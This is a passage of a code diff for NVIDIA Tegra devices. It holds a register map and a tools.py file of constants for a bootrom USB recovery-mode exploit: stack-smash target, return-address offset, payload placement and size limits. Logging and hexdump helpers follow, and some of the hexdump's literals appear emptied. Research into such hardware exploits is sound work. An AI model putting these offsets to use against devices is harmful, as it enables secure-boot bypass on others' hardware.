'TZRAM_T210B01_SIZE': 0x3C000,
'USB_BASE': 0x7D000000,
'USB_OTG_BASE': 0x7D000000,
'USB1_BASE': 0x7D004000,
'EMEM_BASE': 0x80000000,
}
APB_MISC_GP_HIDREV = 0x804
# Function to get MMIO register
def mmio_reg32(base, offset):
return base + offset
# Example usage
# HOST1X = lambda offset: mmio_reg32(BASE_ADDRESSES['HOST1X_BASE'], offset)
# BPMP_CACHE_CTRL = lambda offset: mmio_reg32(BASE_ADDRESSES['BPMP_CACHE_BASE'], offset)
# MSELECT = lambda offset: mmio_reg32(BASE_ADDRESSES['MSELECT_BASE'], offset)
# DPAUX1 = lambda offset: mmio_reg32(BASE_ADDRESSES['DPAUX1_BASE'], offset)
# TSEC2 = lambda offset: mmio_reg32(BASE_ADDRESSES['TSEC2_BASE'], offset)
# # Example access
# print(hex(HOST1X(0x100))) # Example usage of the HOST1X register

143
tools.py Normal file
View File

@ -0,0 +1,143 @@
import string
JETSON_TK1_VID= 0x0955
JETSON_TK1_PID= 0x7140
SHIELD_TK1_VID =0x0955
SHIELD_TK1_PID= 0x7f40
IROM_BEGIN = 0x00100000
IROM_END = 0x0010FFFF
IROM_LEN = 0x00010000
IRAM_BEGIN = 0x40000000
IRAM_END = 0x4003FFFF
IRAM_LEN = 0x00040000
BOOTROM_DO_BCT_BOOT = 0x00100624
BOOTROM_EP1_IN_WRITE_IMM = 0x001065C0
BOOTROM_EP1_OUT_READ_IMM = 0x00106612
BOOTROM_USB_BUF_1 = 0x40004000
BOOTROM_USB_BUF_2 = 0x40008000
BOOTROM_PAYLOAD_ENTRY = 0x4000E000
BOOTROM_SMASH_TARGET = 0x4000DCD8
BOOTROM_STACK_GAP_LEN = 0x30C
BOOTROM_SMASH_LEN = (BOOTROM_SMASH_TARGET - BOOTROM_USB_BUF_2) #// 0x5CD8
VARS_LEN= 0x10
INTERMEZZO_LEN =0x100
INTERMEZZO_REL_ADD =( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ) #// 0x4000DF00
OFFSET_INTERMEZZO_START = 0x0
OFFSET_PAYLOAD_START = ( INTERMEZZO_LEN )
OFFSET_MEMCPY_RET_ADD = ( BOOTROM_SMASH_LEN - BOOTROM_STACK_GAP_LEN - 0x4 ) #// 0x59C8 ( 0x30C Bytes copied from the stack before entry )
OFFSET_PAYLOAD_BEF_LENVAR = ( OFFSET_MEMCPY_RET_ADD - 0x4 )
OFFSET_PAYLOAD_AFT_LENVAR = ( OFFSET_MEMCPY_RET_ADD - 0x8 )
OFFSET_PAYLOAD_THUMB_MODE = ( OFFSET_MEMCPY_RET_ADD - 0xC )
OFFSET_PAYLOAD_CONT = ( OFFSET_MEMCPY_RET_ADD + 0x4 )
IRAM_ADD_INTERMEZZO_START = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_INTERMEZZO_START )
IRAM_ADD_PAYLOAD_START = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_START )
IRAM_ADD_PAYLOAD_BEF_LENVAR = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_BEF_LENVAR )
IRAM_ADD_PAYLOAD_AFT_LENVAR= ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_AFT_LENVAR )
IRAM_ADD_PAYLOAD_THUMB_MODE= ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_THUMB_MODE )
IRAM_ADD_PAYLOAD_CONT = ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_CONT )
RCM_EP1_IN = 0x81
RCM_EP1_OUT = 0x01
RCM_CHIP_ID_LEN =0x10
RCM_CMD_LEN =0x32274
RCM_CMD_MAX_USEFUL_LEN = 0x31000 # Ensures Header + Payload + Padding doesn't complete RCM CMD and buffer 2 is used for getstatus.
RCM_CMD_HEADER_LEN = 0x284
RCM_CMD_BUF_INTERMEZZO_START = ( RCM_CMD_HEADER_LEN + OFFSET_INTERMEZZO_START )
RCM_CMD_BUF_PAYLOAD_START = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_START )
RCM_CMD_BUF_MEMCPY_RET_ADD = ( RCM_CMD_HEADER_LEN + OFFSET_MEMCPY_RET_ADD )
RCM_CMD_BUF_PAYLOAD_BEF_LENVAR = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_BEF_LENVAR )
RCM_CMD_BUF_PAYLOAD_AFT_LENVAR = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_AFT_LENVAR )
RCM_CMD_BUF_PAYLOAD_THUMB_MODE = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_THUMB_MODE )
RCM_CMD_BUF_PAYLOAD_CONT = ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_CONT )
MAX_PAYLOAD_BEF_SIZE = ( OFFSET_PAYLOAD_THUMB_MODE - OFFSET_PAYLOAD_START ) # 22716 Bytes
MAX_PAYLOAD_AFT_SIZE = ( RCM_CMD_MAX_USEFUL_LEN - RCM_CMD_BUF_PAYLOAD_CONT ) # 177072 Bytes
MAX_PAYLOAD_FILE_SIZE = ( MAX_PAYLOAD_BEF_SIZE + MAX_PAYLOAD_AFT_SIZE ) # 199788 Bytes
SECURE_BOOT_BASE= 0x6000C200
SB_CSR_0 = 0x0
SB_PIROM_START_0 = 0x4
SB_PFCFG_0 = 0x8
JTAG_ON = 0x00000080
APB_BASE =0x70000000
APB_MISC_PP_CONFIG_CTL_0= 0x24
APB_MISC_PP_CONFIG_CTL_0_JTAG = 0x40
APB_MISC_PP_CONFIG_CTL_0_TBE = 0x80
FLOW_CTLR_BASE = 0x60007000
FLOW_CTLR_HALT_COP_EVENTS_0 = 0x4
FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT =(1 << 30)
FLOW_CTLR_HALT_COP_JTAG = (1 << 28)
PMC_BASE = 0x7000e400
PMC_CNTRL = 0x000
PMC_CNTRL_MAIN_RST = (1 << 4)
PMC_SCRATCH0 = 0x050
PMC_SCRATCH0_MODE_RCM = (1 << 1)
FUSE_BASE = 0x7000F900
FUSE_LEN = 0x300
PAYLOAD_SIZE = 0x32274
USB_CTRL_DEVICE_ENDPOINT_TO_HOST = 0x82
USB_CTRL_GET_STATUS = 0x00
SUCCESS_STATUS = 0
ERROR_STATUS = 4
def info(msg):
print("[\033[34;1mi\033[0m] %s" % (msg))
def ok(msg):
print("[\033[32;1m+\033[0m] %s" % (msg))
def warn(msg):
print("[\033[33;1mw\033[0m] %s" % (msg))
def error(msg):
print("[\033[31;1m!\033[0m] %s" % (msg))
def hexdump(buf, title="", color=6, start=0, remove_dup=True):
color_start = "\033[3%d;1m" % color
color_start_no_bold = "\033[0m\033[3%dm" % color
color_stop = "\033[0m"
address_format_size = len("0x%08x " % (len(buf) + start))
space_before = " "*address_format_size
out=("%s%s"+""*49+""+""*18+"%s\n") % (space_before, color_start,color_stop)
if title != "":
dashlen = int((46-len(title))/2)
out=("%s%s"+""*dashlen+" "+title+" "+""*(dashlen-(1-(len(title)%2)))+""+""*18+"%s\n") % (space_before, color_start,color_stop)
last_is_dup = False
for i in range(0,len(buf),16):
if remove_dup:
if i != 0 and (i+16) < len(buf):
if buf[i:i+16] == buf[i-16:i] and buf[i:i+16] == buf[i+16:i+32]:
if not last_is_dup:
out+="%s%s* ┆ %s" % (space_before[:-2], color_start, color_start_no_bold)
out+=""*47
out+="%s%s" % (color_start, color_start_no_bold)
out+=""*16
out+=" %s%s\n" % (color_start, color_stop)
last_is_dup = True
continue
else:
last_is_dup=False
out+="%s0x%08x%s" % (color_start,i+start,color_stop)
for j in range(16):
if i+j < len(buf):
if type(buf) == bytes:
out+="%02x " % (buf[i+j])
else:
out+="%02x " % (ord(buf[i+j]))
else:
out+=" "
out+="%s%s" % (color_start,color_stop)
for j in range(16):
if i+j < len(buf):
char = buf[i+j]
if type(char) == int:
char = chr(char)
if char in string.printable and char not in "\t\n\r\x0b\x0c":
out+="%s" % (char)
else:
out+="."
else:
out+=" "
out+=" %s%s\n" % (color_start,color_stop)
out+=("%s%s"+""*49+""+""*18+"%s") % (space_before, color_start,color_stop)
print(out)